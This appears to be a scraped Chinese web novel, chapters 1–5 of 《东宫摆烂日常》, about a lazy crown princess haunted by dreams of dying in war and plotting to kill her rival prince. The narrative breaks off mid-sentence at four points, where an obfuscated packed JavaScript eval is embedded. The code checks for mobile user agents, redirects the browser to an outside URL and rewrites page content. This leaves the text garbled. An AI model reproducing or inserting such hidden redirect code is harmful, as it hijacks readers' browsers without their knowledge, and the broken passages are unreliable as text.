《东宫摆烂日常》 1. 第 1 章 乱世之年兵荒马乱,烽火连天,或求自保,或争那天下共主,天下诸国竟无一能独善其身。 两年恶战,强国初现。 北雎兵马彪悍,南碣善于算计,凤昭运筹帷幄,胥月大杀四方,后以此四国为首,展开三年的争夺后,北雎南碣不敌,向两国递上降书,唯凤昭胥月可一争天下。 凤昭太子凤岐颖悟绝伦,攻无不克,胥月皇太女胥璜用兵如神,所向披靡,二者各有军师奇才相助,竟难分高下。 五年鏖战,谁也不曾在对方手中多占几分便宜,直到黄沙城一战。 大势所趋,如今这天下只能出一位帝王,同出两位帝王之才,注定只能一死一生。 所有人心知肚明,这是他们的最后一战,倾尽所有,没有退路。 这一战持续了七天七夜。 第七日黄昏,胥璜落入凤岐的埋伏,葬身黄沙之下。 黄沙淹没了半边身子,窒息感吞并了痛觉,胥璜放弃了挣扎,她受了致命伤,注定走不出这片黄沙了。 北雎的临阵倒戈,竟不知是凤岐何时谋划?亦或是一开始她便入了他设的局。 罢了,败在他手中,她不算输。 征战数年,看尽离别,将死之时她无怨无恨,她决意迎战黄沙城时便已安排好后路,赢了皆大欢喜,若是败了,军师自会向凤岐递上降书,保胥月子民太平,她虽与凤岐不死不休,乃当世宿敌,但于私,凤岐并非弑杀之人,于公,他若要一统天下,为得民心,必不会对胥月赶尽杀绝。 如此,她可放心去了。 黄沙盖住眼眸,掩去最后一丝苦笑。 若有来世... 算了,还是再等些年头,待天下太平投个好胎,养千百个男宠,享一世安乐才好。 这破仗谁爱打谁打,该死的乱世谁爱平谁平,她胥璜不奉陪了。 - “殿下,殿下,该起身了。” 金纱凤帐,玉枕之上,面容姣好的女子眉头紧蹙,似被噩梦缠绕,几度喘不上气,侍女的呼唤让她猛然睁开眼,总算冲破了窒息,获得新生。 那双清眸中掠过一瞬的迷茫,随之转为凌厉,侵染着几分骇人的杀气:“谁?” 帐外的侍女虽看不到她眼中的杀意,却觉周身突生一股寒凉,侍女熟练的停顿片刻,动作轻柔的掀开纱帐,温和回道:“殿下,可是又梦魇了?” 熟悉的声音止住了女子的掌风,她错愕的抬头望着面前那张熟悉的容颜,讶然而迷茫的低喃道:“皦玉...” “奴婢在。” 皦玉对自家殿下这般情态早是见怪不怪,这三年间,殿下每每梦魇醒后都会持续混沌半刻:“殿下稍坐,奴婢去给殿下倒杯水。” 女子坐在床沿双眼朦胧的盯着侍女,突听一阵轻快的脚步声响起,珠帘轻晃,清脆而急切的声音随之传来。 “殿下,太傅在书房侯了半个时辰了,眼下正往这边来,殿下再不起身,又要吃太傅板子了。” 女子眼眸微震:“琬琰...” “殿下醒了啊,快些洗漱更衣,要来不及了。”琬琰见人醒了,急忙折身去取衣裳,皦玉则端着水递给女子:“殿下,先喝杯水。” 女子没有接,恍惚的视线在皦玉琬琰身上来回徘徊。 她回魂了? 不,便是回魂也不该见到她们。 皦玉死在邾庆二十七年冬,琬琰死在邾安一年春,她死在邾安四年夏,按理,她们就是到了地府都不一定能重聚。 “殿下,昨日太傅留下的水利考卷,殿下可答出来了?”琬琰头也不回的问道:“要是没有,殿下今日可有苦头吃了。” 半晌不见女子回应,琬琰停下动作转头望去,这才注意到皦玉手中的水杯,后知后觉道:“殿下又梦魇了?” 皦玉轻轻嗯了声,再次将水递过去。 “殿下先喝点水。” 女子缓缓接了水小口饮着,这水并不寻常,入口清凉,似能唤醒四肢百骸,但女子并未注意,思绪也早已飘远。 水利之策? 眼前场景和对话有些熟悉... 是了,邾庆十九年发过一次史无前例的洪灾,堤坝被冲毁死伤无数,母皇大怒,下令彻查,揪出了一堆蠹虫。 太傅就此事给她出过一次考卷。 这是怎么回事,她不是遭那只凤鸡暗算死在黄沙之中了么,怎会回到这时? 皦玉目不转睛盯着女子,眉头微微蹙起。 这三年来殿下常被梦魇所困,每次醒来都觉得自己多经了好些年头的岁月,且还是充满杀戮的岁月,太医院对此束手无策,陛下怕殿下伤了身子,于民间悬赏,两年前有一高人献出一个方子,可醒神明目,安神镇魂,效用很是不错。 往日殿下喝了不到半刻就会恢复,可今日,怎还不见成效。 皦玉有些担心,轻声唤道:“殿下,殿下...” 侍女的呼唤仿若冲破轮回,如白驹过隙,过眼云烟,终于,几度的混沌迷惘后,女子开了口。 只见她朱唇轻启:“操!” 该死的,她怎么回到这时了,不是说要等天下太平再投胎养男宠么,怎还要她经一遍战乱! 两名侍女容色大变,琬琰吓的忘了规矩,抱着衣裳几个箭步冲到女子跟前,惊慌捂住她的嘴:“殿下快闭嘴!” “殿下从何处学来这等粗俗之言,若叫太傅听去...” “叫臣听了如何?” 身后传来一道清冷的女声,两名侍女同时暗道:完了! 太傅最重规矩礼数,她们这位纨绔殿下没少因此挨训,可平日殿下再怎么胡闹,也万不会说这样粗俗之言,且还好死不死叫太傅听了去。 琬琰闭了闭眼,心如死灰的抱着衣裳退后垂首。 皦玉则颔首解释道:“太傅,殿下又梦魇了。” 太傅面上的冷冽稍散,只还未开口就对上女子的泪眼朦胧,她微微蹙眉,这是又梦见她死了? “太傅...” 女子直愣愣盯着太傅,哽咽唤了声。 ‘臣为皇太女之师,岂能眼睁睁看着皇太女涉险’ ‘臣请命,代皇太女出征’ ‘殿下,太傅大人战死黄沙城’ 泪水不受控的落满素净的小脸,瞧着真真是我见犹怜,太傅眼神到底还是软了几分,不再计较方才女子的粗俗言语,只道:“半盏茶,请殿下梳妆整齐移步书房。” 女子下意识伸手,太傅的背影却渐渐消失在模糊的视线中。 一如当年,她没能留住太傅。 太傅一走,屋内气氛骤松,皦玉上前接过女子手中的水杯,担忧唤道:“殿下,快醒醒。” 琬琰皱着眉道:“怎么回事,殿下竟还没回魂。” “要不同太傅告个假吧,不过殿下有些时日没梦魇了,莫不是昨夜与大公主赌了半夜,累着了,这才...” 琬琰的声音在不经意瞥见屏风后不知何时去而复返的身影时,戛然而止。 寝殿内顿时陷入死一般的沉默。 “臣来提醒殿下,带上昨日的答卷。” 脚步声渐渐远去,风从门缝中吹进来,携着太傅冷到骨子里的声音。 “来人,请大公主。” 琬琰身子一抖,欲哭无泪的转头看向皦玉:“完蛋了...” 皦玉无声一叹,殿下今日怕是难逃一顿责罚,告假更是不可能的了。 除非去请示陛下... 皦玉看着眼神仍旧混沌的殿下,果断下了决定。 “你先伺候着殿下,我去求见陛下。” 琬琰猜到皦玉的心思,忙不迭点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那些年众臣为立储一事争的面红耳赤,几度搁置下来,直到邾庆十六年,女皇病重,立储一事迫在眉睫,最终经过几番唇枪舌战,定了二公主胥璜。 胥璜公主从三位公主中脱颖而出的理由是:胥璜公主懒就懒点,起码不好赌,不好色,且胥璜公主聪颖无双,在武学天赋上胜过大公主三公主,也算勉强配得上文武双全四个字,再加上有太傅首辅辅佐,还是能撑得起胥月。 且论身份正统,胥璜公主亦是首选。 可后来他们却慢慢发现,这位二公主文武双全是没错,聪颖无双也没错,可在纨绔一道上,却比另两位公主有过之而无不及,她上能翻女皇陛下的房梁,下能与狐朋狗友进赌坊,逛青楼,简直是纨绔中的纨绔,用首辅大人的话说,参皇太女殿下的折子能从玄黄门堆到女皇的邾华殿,他就是本事通天,也辅佐不了这样纨绔的皇太女。 不少老臣锤头顿足,懊悔选错了人。 可自从立胥璜为皇太女后,女皇的身子竟慢慢的好了起来,这才让不少臣子心头勉强有个慰藉,对皇太女的争议也就慢慢少了些。 本事不行,当个吉祥物也不是不可以。 但折子该参的还是要参! 年初,再次驳了首辅请辞的折子后,女皇气的狠了,甩手将皇太女交给太傅方荀,放言不论生死。 方荀虽不会真伤及皇太女性命,但也有一些手段,勉强将这位纨绔殿下管住。 可即便如此,这一年参皇太女的折子还是没怎么断过。 首辅请辞的折子亦如此。 邾庆十九年的胥璜殿下,正是纨绔无拘,自由自在,上蹿下跳的好年纪。 2. 第 2 章 皇太女居于东殿,与女皇的邾庆,邾华殿同取字国号,名邾鸾殿。 据史书记载,数百年前胥月曾叫邾月国,后来不知因何改名,皇室也亦改姓,但邾庆殿,邾华殿,邾鸾殿的名字却始终保留,经世代流传至今。 国号也延用‘邾’至今。 胥璜出了寝殿,疾步穿过游廊,庭院,早晨的清风迎面拂来,一扫梦魇的窒息和赌了大半夜后晨起的困倦。 初夏时节,草木花朵争相散发着清香芬芳,邾鸾殿外紫藤如瀑布垂挂,美如幻境。 这棵古紫藤据说是胥月开国时女皇为皇太女种下的,至今已有数百年。 它陪伴了胥月一代又一代的女皇,见证着胥月江山绵延昌盛。 胥璜受封皇太女搬进邾鸾殿时,正逢一月十五,古紫藤花一夜之间提前盛放,轰动前朝后宫,传遍大街小巷。 女皇陛下的身体也在那之后渐渐安康。 如此奇迹现世,胥月上下皆道,胥璜殿下乃天命所归,为胥月吉星。 即便后来胥璜行事再荒唐,皇太女之位始终无法被动摇分毫。 也因此胥璜对这棵古紫藤有着特殊的感情,每每路过,都会微微驻足仰头看它一会儿,兴致浓时或碰一碰那一串花朵,或点一点绿叶枯枝。 今日也不例外。 此时紫藤花期正浓,垂着的一串串紫,沁人心扉,赏心悦目,胥璜停下脚步,用指尖碰了碰最近的花串,不由想起昨夜梦境,低喃道: “天命所归,胥月吉星。” 哪怕已经‘回魂’,她仍清晰的记得被黄沙掩埋的窒息感。 “若真如此,我又岂能被人算计,葬身黄沙城。” 胥璜望着眼前紫色花海,微眯起眼眸:“紫藤啊,你说这是预知,还是警醒?” 微风拂过,紫藤花串儿随风摇荡。 胥璜盯着瞧了半晌,忽而一笑:“我明白你的意思了,我会去找他。” 这是她很早就产生的念头,这一次的梦境让她更加坚定了这个想法。 随侍在侧的琬琰将这一幕尽收眼底,满眼错愕,殿下能和紫藤花对话了? 鬼使神差的她试探着伸出手轻轻触了触那串花儿,但耳边除了风声,什么也没有。 察觉到自己干了什么蠢事后,琬琰懊恼的拍了拍额头。 她怕是也梦魇了,殿下分明是在自说自话! 不怪她疑神疑鬼,实是殿下每过些时日就要梦魇一回,刚开始那会儿每每醒来都说些她们听不懂但很吓人的话,有一回也恰好碰见太傅过来,殿下冲上去抱着太傅哭的撕心裂肺。 说什么太傅为护她战死沙场。 她们一致认为,殿下是那些日子被太傅‘摧残’的狠了,才会做这样不吉利的梦。 太傅当时脸都黑了。 不对! 琬琰想起什么面上一惊,殿下方才说要去找他?找谁? 该不会和那个古怪的梦有关? 她虽然从未听殿下完整说过那个梦,但从殿下的只言片语中也可知晓,那个梦很危险很可怕,若梦真是预示,殿下去找梦中人,岂不是会步入险境? 琬琰越想越忐忑,快步跟上去后,正斟酌说辞试探,便听胥璜道:“待会儿机灵点,太傅罚人的时候躲远些,免得被牵连。” 主子犯错,贴身的奴仆多半都要遭殃。 但胥璜殿下护短,且极有气魄,宁愿咬着牙受双倍罚也不愿累及贴身宫人。 琬琰刚要出口的试探被逼咽了回去,点头:“是。” 殿下犯的错多了,做奴婢的也就有经验了,初时她们抢着替殿下受罚,后来被殿下护过几次后也就明白了,这时候能躲多远躲多远,否则最后的惩罚都会翻倍落在殿下身上。 书房离寝殿并不远,也就小半刻的路程。 “你就在这里候着。 ”胥璜立在石阶下,盯着半开的那书房门,深深吸一口气,缩头是一刀,伸头也是一刀,不如‘死’的有气魄些,勉强保住些皇太女为数不多的颜面。 可胥璜能‘慷慨赴死’,另一位却不大行。 转角处,一抹娇丽身影早就等候多时,见胥璜脚步坚定的往书房去,她忙踩着小碎步追过来,轻声唤道:“小璜儿...” 胥璜闻声驻足:“大皇姐。” 来人正是大公主胥澂。 三位公主属大公主与二公主容颜最相似,只胥璜明媚中多几分英气,而大公主则更娇气,昨夜偷摸赌了半夜,快天亮了才睡,不过一个时辰就被侍女从被窝里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411448|184600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喊了起来,此时那睡眼朦胧中仿佛浇着一汪秋水,楚楚动人,极惹人怜惜。 平日里侍女自然不敢扰公主清梦,可太傅的命令实不敢违。 虽说太傅为皇太女之师,但两月前因陛下发现大公主带皇太女出宫赌博,特下令若敢再犯,大公主由太傅同罚。 “小璜儿,怎么回事,不是说天衣无缝万无一失,怎么会被太傅发现?”胥澂紧张的拉着胥璜的衣袖小声道。 她是知晓太傅手段的,上回她可是亲眼瞧见小璜儿被罚蹲了三个时辰马步抖成了筛子,太傅都没喊起。 大公主是女皇第一位皇女,天潢贵胄,荣宠加身,胥璜降生后她也注定与皇位无缘,胥澂自来娇气贪玩,加上幼时多病,不必受更多规训教导,亦免了不少课业,即便后来文武皆废,女皇也还是纵她几份,别说挨打,就是骂都没挨过几句。 一句话总结,大公主远不如皇太女抗揍。 胥璜知她娇气怕疼,眼底划过几丝愧疚,但没说是自己侍女说漏了嘴,只道:“太傅英明,眼线颇多,没瞒住。” 她曾做过一次噩梦,梦里大皇姐因与她容颜相似,在危急关头假扮成她替她而死,葬身火海,连尸骨都没收回来。 即便那场梦过去许久,如今想来仍隐隐作痛。 不管梦是真是假,从那以后她对大皇姐也更亲近爱护几分。 “大皇姐别怕,我已让人去请沐大人了。” 沐大人乃大公主之师,是看着大公主长大的,朝野上下无人不知沐大人对大公主极尽宠溺。 胥瀓眼眸微亮了亮,可随后又担忧道:“我听说太傅气得狠了,老师能保住我吗?” 胥璜轻笑了笑:“能。” 俗话说有什么样的老师就有什么样的学生,可放在大皇姐与沐大人身上,只能说这对师生性情相投,彼此成就。 旁人来或许保不下大皇姐,但以沐大人撒泼耍赖的本事,定不会叫大皇姐吃苦头。 今日这邾鸾殿注定是要鸡飞狗跳了。 “太傅请大公主,殿下进书房。”宫人恭敬上前禀报道。 胥瀓身子抖了抖,揪着胥璜的衣袖紧张极了:“小璜儿。” 胥璜握了握她的手,轻声安抚:“没事,我在。” 3. 第 3 章 胥璜是被罚惯了的,脚步坚定的就步入书房。 书房中,太傅方荀负手立于正中,身如松,气如雪,无端为这初夏添了几分凉气,越发叫亦步亦趋跟在胥璜身后的胥澂瑟瑟发抖。 “太傅。” 胥璜拱手见礼。 胥澂也跟着轻声道:“太傅大人。” “大公主。”方荀朝胥澂颔首问了礼,才将目光落在胥璜身上:“殿下可知错?” 知错? 在拜方荀为师时,胥璜是不知道这两个字是如何写的。 但现在,胥璜低头垂目:“学生知错。” 胥澂见向来无法无天的胥璜在方荀面前状如鹌鹑,心中更是没底。 老师说的果然不错,能治住小璜儿的人绝非等闲,也不知道今日老师能不能保得住她。 要她蹲三个时辰的马步,还不如直接给她一刀来的痛快。 然胥璜的乖巧并没有让方荀容色缓和半分,她太了解这个学生了,认错比谁都快,犯错的速度亦不遑多让。 “宫中禁赌,殿下身为皇太女理应以身作则,殿下不仅知错犯错,还因此贻误学业,罪加一等。” 胥璜心中叫苦,面色却镇定:“是,任凭太傅处置。” 太傅与沐大人不同,大皇姐在沐大人跟前撒撒娇,沐大人无有不依,可太傅认为,身为皇太女该心性坚定,处变不惊。 最初她并不将太傅放在心上,她是皇太女,太傅总不会对她下狠手,那次她在宫外惹了事,被太傅知晓罚抄书时,她只打算敷衍了事,然她困的字都要写成了墨团,太傅也没有离开,只要她一闭眼就被叫醒。 那一夜,堪比噩梦。 后来,她变着法儿的插科打诨阳奉阴违,却没一次如愿,且越是耍赖装可怜,罚的越狠。 她不止一次去母皇跟前哭,母皇心疼归心疼,安抚归安抚,却始终不松口给她换个太傅。 直到一次她无意中听母皇与身旁女官笑说,总算有人能治住她,她也总算明白,这个太傅是换不了了。 好在她胥璜最擅长的就是顺应而为,哪里跌倒,就在哪里躺下。 “殿下近日武学懈怠不少,今日不必抄书,负重绕庭院跑三十圈。” 胥瀓倒吸一口凉气。 三十圈,三圈都得要她的命啊! 方荀看向摇摇欲坠的胥瀓:“大公主同罚。” 胥瀓身子一个踉跄,胥璜眼疾手快稳住她腰身,试图争取:“昨夜是我的主意,大皇姐身子弱,太傅能否网开一面?” “陛下有命,大公主与殿下同罚。”方荀面无表情道:“念在大公主体弱,可不负重。” “小璜儿……”胥瀓的眼泪在眼眶打着转,要落不落的。 都一样要命,负不负重又有什么关系! 胥璜算了算时辰,沐大人此时应当已经在路上了,眼下太傅明显动了气,再多说更是无益,不如先认罚。 如此想着,胥璜轻轻拍了拍胥瀓的手:“没事,我陪你。” 胥瀓惊愕的瞪大眼。 三十圈,她会死的! 胥璜却没给她说话的机会,拉着胥瀓向太傅告退出了书房。 到了庭院,胥瀓急得脸色发白:“小璜儿,我不行……” “一圈可无碍?” 胥璜低声道。 胥瀓一愣:“啊?” “一圈倒也死不了,可太傅说三十……” “待沐大人到了,大皇姐适当示弱。” 胥璜一边整理腿上的沙袋,一边道。 胥瀓立时就意会过来,瞪大眼:“可太傅都下令了………” 谁人不知,太傅刚正不阿,说一不二。 “大皇姐听我的就是。”胥璜活动了下手脚,无声吐出一口气。 三十圈虽不至于要她的命,但也是很有些招架不住的。 胥瀓还想说什么,可看到胥璜腿上绑着不知多沉的沙袋,又将话咽了回去。 算了,赌一赌吧! 并非赌太傅心软,而是赌老师会在她撑不住前赶来救她。 所幸今天天阴,没有烈阳照射,舒适了许多。 书房外的庭院本就是胥璜平日练武的地方,算不得小,以胥璜的速度一圈也得要半刻,胥瀓一刻都不一定能跑完。 琬琰和大公主的贴身侍女红妆备了水和巾帕在廊下侯着,红妆焦躁不安的抻长脖子视线随着大公主而移动,琬琰虽也忧心,但见红妆急的快要哭出来了,不忍安抚道:“红妆姐姐宽心,殿下来之前便吩咐人去请了沐大人,再说,太傅知晓大公主体弱,不会动真格。” 红妆朝屋内看了眼,眼神里充满了怀疑,但到底不敢多说,只低声嘟囔了句:“连殿下都不曾心软,又怎会对我们公主心软。” 琬琰想解释两句,可一想到太傅大人的铁面无私,又实在无从辩驳。 红妆不敢置喙太傅,只不停的望向长廊尽头,期盼着沐大人快些来救她们殿下。 这一刻钟的时间难熬至极。 胥澂跑完一圈累的直喘气,扶着武器架摇摇欲坠。 红妆心疼的直抹泪:“公主何曾吃过这些苦头。” 琬琰苦笑了笑,看向已是第二圈的胥璜。 她家殿下在拜师方太傅前,又何曾受过这些罪。 “沐大人!” 耳边传来红妆惊喜的声音,琬琰下意识转头望去,只见长廊尽头高挑清瘦的女人疾步而来,她一眼便望见了胥澂,脸色顿时紧绷起来,眼底满是心疼和担忧。 胥澂也看见了她。 苍白的脸上顿时就添了几分光彩,眼睛也亮了起来:“老师。” 沐泠风几乎是小跑着到了胥澂跟前,胥澂见着她委屈顿时涌上心头,飞扑进她的怀里:“老师,救我。” 沐泠风小心接住她,心疼的眼睛都红了。 “公主别怕,臣来了。” 沐泠风是胥澂七岁那年自己选的老师,师生性情相投,感情向来深厚,胥澂对沐泠风是全心全意的信任,见着她,心中确实踏实不少。 沐泠风又轻声安抚了几句,便唤来红妆,吩咐:“扶公主去休息,我去见方荀。” “是。” 红妆赶紧扶着胥澂到了廊下,给她擦汗,递水。 琬琰退后几步静静望着自家仍在受罚的殿下。 她明白殿下与大公主是不一样的。 大公主只需要平安快乐的过日子,而殿下自从三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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方荀在武学上也就通些骑射,二人若真动起手,吃亏的确实不是沐泠风。 胥璜路过时正好听了几句,却半点也不担心。 沐泠风对太傅动手是以下犯上,即便沐泠风自己不怕,也要顾及大皇姐,毕竟这种事闹到母皇跟前,她和大皇姐也要遭训斥,所以这架,不可能打得起来。 果然,没过多久,沐泠风便气冲冲的出来拉着胥澂就走。 “滚开,我看今天谁拦得住!” 邾鸾殿的侍卫统领早就得到胥璜的命令,吩咐人撤退,任由沐泠风将胥澂带走。 胥璜跑完三十圈,已临近午时。 琬琰欲上前给她擦汗,胥璜却抬手拒了,径直走进书房。 跨进门时,太傅正端坐于书案前,拿着本书看。 看起来,她似乎正如沐泠风所说,半点不曾心疼过胥璜,其实胥璜最初也是这样认为的,但做了那样的梦后,她对太傅慢慢地有了不一样的认知。 后来她从很多细枝末节中,也瞧出太傅对她并非是真的心狠。 就比如现在,书房那扇对着练武场的窗都还未来得及关好,能想象到在所有人看不见的时候,太傅定是站在那里静静看着她的。 她的这位太傅啊,总是面冷心软。 4. 第 4 章 “太傅。” 方荀闻声抬头看着胥璜。 负重练了三十圈,使得那张素净的小脸由内而外染上几分红晕,高束着的马尾略有些松散,垂了几缕发丝到脸颊,眼中星光灿灿,与平日懒散模样判若两人。 方荀的视线最后掠过胥璜额上渗着的薄汗,声音淡然道:“沐大人的话,殿下应都听到了。” 练武场的庭院正对着书房,沐泠风的声音又穿透力极强,方才的争吵庭院中的人都听见了。 胥璜没有否认,道:“听到了。” 方荀目光灼灼,却又状似随意般问:“殿下可也觉得委屈?” 胥璜微怔,太傅怎突然如此问她? 这些年,太傅只按自己的方式教导规训,从未过问她的想法。 见胥璜沉默,方荀的脸色愈冷,胥璜忙解释道:“学生从不曾因此委屈过,只是没想到太傅会问学生这个问题。” 方荀神色并未缓和。 “殿下可觉得臣过于严厉?” 胥璜快速看了眼方荀,余光掠过那扇没来的及关上的窗户,福至心灵。 透过那扇窗户不仅能看到她,也能看到廊下师生情深的画面。 原来如此。 胥璜正了正面色,道:“自学生拜太傅为师,太傅尽职尽责,一心为学生着想,不曾有过半分轻忽,有师如太傅,乃学生之幸,便是严厉,也是学生有不足之处,才劳太傅费心费力,学生心中对太傅只有感激,无半分怨怼。” 其实她一直知晓,当年母皇将方荀指给她为太傅时,不情愿的不止有她,太傅大才,又怎么情愿收她这个不成器的纨绔学生,不过是皇命难违罢了。 但她方才的话不假,即便太傅不愿做她的老师,这三年来也着实是为了很费了一番心思的。 她不是不知好歹的人,不论梦中是真是假,她对太傅都是感激的。 方荀一直冷着的神色终于有所松动。 她抬眸认真打量着胥璜。 不可否认,这三年来她们相处的并不愉快,先不谈这三年间她们能培养有多少师生情,便是有些,也比不得沐泠风与大公主十几载情义。 不过,她看重的也从不是这些。 她为储君之师,她的责任便是授其帝王策,拘束其德行,尽自己所能为胥月培养好下一任女皇。 她们之间本就相辅相成,只要有君臣之义,便够了。 可不知从何时开始,殿下好像开始变了。 虽然还会在课堂上打瞌睡,但重要课业她都听得认真,近段时间,武学上也较之前更为努力。 她猜测可能是因那个虚无缥缈的梦,虽然她并不相信什么预知梦境,但不管如何,殿下如此改变,她是欣慰的。 见方荀久没言语,胥璜斟酌再三,继续道:“这天底下师生千千万,并非每一对师生感情和相处方式都千篇一律,大皇姐与沐大人固然师生情深,为人赞羡,但我与太傅也有自己的相处之道,并不一定要效仿,才能体现出关切和真心。” 说完这番话,胥璜自己都是心神一怔。 三年间,她与太傅除了学业外几乎没有其他交流,更从未交过心,自然也从不会说这些剖白之言。 看来她还是受到了那个梦的影响, 不过黄粱一梦,她却好像真真跟着经历了十年,竟好似连心智都有所改变。 方荀眼底亦难掩讶异,殿下对她一直是能躲就躲,恭敬疏离,从不会同她如现在这样交谈内心。 方荀一时间百感交集。 她一直都知道皇太女殿下聪慧通透,只是性子懒散,不愿将心思用在正道上,但若真到了危急关头,殿下必定是力挽狂澜的那个。 她的眼光向来不会出错。 殿下以前年幼贪玩正常,如今总算是长大了。 但方荀自来不会说些什么肉麻的话,肃了肃神情,道:“殿下如此想便最好。” “昨日的考卷殿下可有答案了?” 胥璜知道太傅性子,自也不指望她能像沐泠风那般温柔疼惜的哄她,应道:“学生已有答案,还请太傅容学生稍整形容,再来作答。” 关于这次考卷,她已经有了思路。 梦里没有负重罚练一事,她没有给出答卷,被罚抄了三日的书。 方荀细细看她一眼,道:“申时再过来。” “是。” 胥璜拱手道:“学生告退。” 方荀目光复杂的望着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411450|184600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胥璜离去的背影,不知为何,近日她偶尔会在殿下的身上看到不属于这个年纪的沉稳,虽然这一直是她想要的,可她总觉得,那股气息中带着些悲伤。 也不知是好是坏。 胥璜从书房出来,琬琰便赶紧跟了上去,一边替她解除沙袋,一边问道:“殿下果真有答案了?” 胥璜伸了个懒腰,勾唇:“我何时敢骗太傅?” 琬琰还要说什么,胥璜便一头栽在她身上,有气无力道:“快回寝殿用膳,晚一步就要饿死了。” 幸得琬琰有几分气力,稳稳接着她,心疼道:“奴婢背殿下回去。” 胥璜紧紧挽住她胳膊:“扶着我就行,叫太傅瞧见,又得罚三十圈。” 琬琰一听这话也就不敢再坚持,扶着胥璜回了寝殿,皦玉早已备好了热水饭菜,一通忙活下来,胥璜又开始犯困了,迷瞪瞪的从饭厅扑进了床帐。 “记得申时前叫醒我。” 可不知怎地,躺在床上她却慢慢的没了睡意,思绪自然而然的飘到了古怪的梦上。 她向来不信鬼神,可是这个梦整整缠绕她三年,梦中情境也一次比一次清晰。 这一次,她又梦到了自己的结局。 这是她第三次梦到自己葬身黄沙城,连细枝末节都一模一样。 离梦中的天下大乱还有不到三年,不管梦是真是假,她都不能再坐以待毙了,从半年前开始,她便觉得,她可能需要要做什么了。 那毕竟是胥月千千万万条性命,她不敢赌。 于是,思来想去,她将重心放到了劲敌身上。 他们打了十年,于黄沙城殊死一搏,她败在了他手中。 梦中她身心俱疲,并无什么不甘,可在那场战乱中死了太多太多的人,她是决不想那些惨剧真实的发生。 为防患于未然,她想到了一个良策。 在那一切到来前,先将劲敌扼杀。 他是她唯一的对手,他死了,便不会有后来那些年的兵荒马乱。 且她有预感,见到他,或许就能证实梦的真假。 所以,她决定去凤昭。 她从未见过他的脸,但她知道他的身份。 凤昭太子,凤岐。 5. 第 5 章 但如何离开是个问题。 没有正当的理由,母皇不可能同意她远去凤昭,可若同母皇说实话,不管母皇信不信一个虚无缥缈的梦,她都更是走不了。 胥月有条世代流传下来的旧规,东殿无主,女皇不得涉险,东殿立主,不到万不得已皇太女不可涉险。 毕竟她的梦中硝烟四起,战火纷飞,她去寻那梦中人,必定会危险重重,依母皇的性子,不仅不会同意,还会特意派人盯着她。 思来想去,她此行,得先斩后奏。 且此行宜早不宜迟,几日后的谷雨节,便是离开的最好时机,但以防引起动乱,她还是得有个离开的契机。 或许,她该闹点什么事合理的‘离家出走’? 如此才符合她的纨绔性子,不叫人生疑。 但胥璜没想到,这个契机很快就出现了。 谷雨节的前一日,刚下早课,便听琬琰提及三公主:“奴婢听闻三公主已有好几日没回宫了。” “哦?”胥琅自小就爱美色,长大后更是常出入烟花柳巷,几日不回宫不是什么稀奇事。 琬琰四下望了眼,确认无人才低声继续道:“奴婢还听闻,醉春楼来了位新的小倌,容色极盛,称句绝色也不过去,老鸨特意放在明日挂牌,眼下醉春楼的位置都已抢空了。” 胥璜眉头微动:“绝色美人?” “是呢。”琬琰道:“三公主便是因此在醉春楼宿了几日,只等明日挂牌抢人。” 胥璜缓缓放慢脚步。 是了,在梦里,胥琅确实从醉春楼带回过一个小倌,后来封王立府,人也还跟着,偌大王府,唯有王夫能分他几分宠,只可惜是个命薄的,没过几年好日子就没了。 胥璜眼底渐渐蓄起一层光,看来无需见到凤岐,她便能证实梦境真假。 她曾见过那美人,确实是难得一见的绝色。 “可知如何抢?” “听说是以诗词取胜……” 琬琰察觉到胥璜的异反应,话音蓦地一顿,后知后觉:“殿下莫不是动了心思?” 胥璜勾唇:“如此场面,怎能少得了我。” 琬琰当即就急了,赶紧道:“可是殿下前两日才被罚了,若再去醉春楼,太傅必不会轻饶。” 她本是方才无意中听宫人议论,才同殿下提一嘴,早知殿下会动这种心思,她就不该多嘴! 且往日,殿下再爱美色,也从不会同三公主抢人啊,否则她哪里敢提这事。 “无妨,我就去瞧一眼,若真入了眼,只要能抢回来,挨顿罚又算什么?不是有句俗话说牡丹花下死做鬼也风流?”见琬琰还要相劝,胥璜捂住她的嘴:“隔墙有耳,我们明日杀她个措手不及!” “三皇妹是个中行家,若叫她得了消息,必定会防着我,我就更没胜算了。” 琬琰一脸苦涩。 殿下这哪是杀三公主措手不及,分明是杀她措手不及! 琬琰欲哭无泪地掰开胥璜的手,道:“可殿下往日从不和三公主抢人的啊。” “此一时,彼一时。” 胥璜意味深长的笑着道。 三皇妹,对不住了。 这人,她不仅要去抢,还要抢的惊天动地。 次日一早,胥璜一下早课便回寝殿换了身衣裳准备出宫,期间将皦玉琬琰支走,偷摸塞了些银钱在身上。 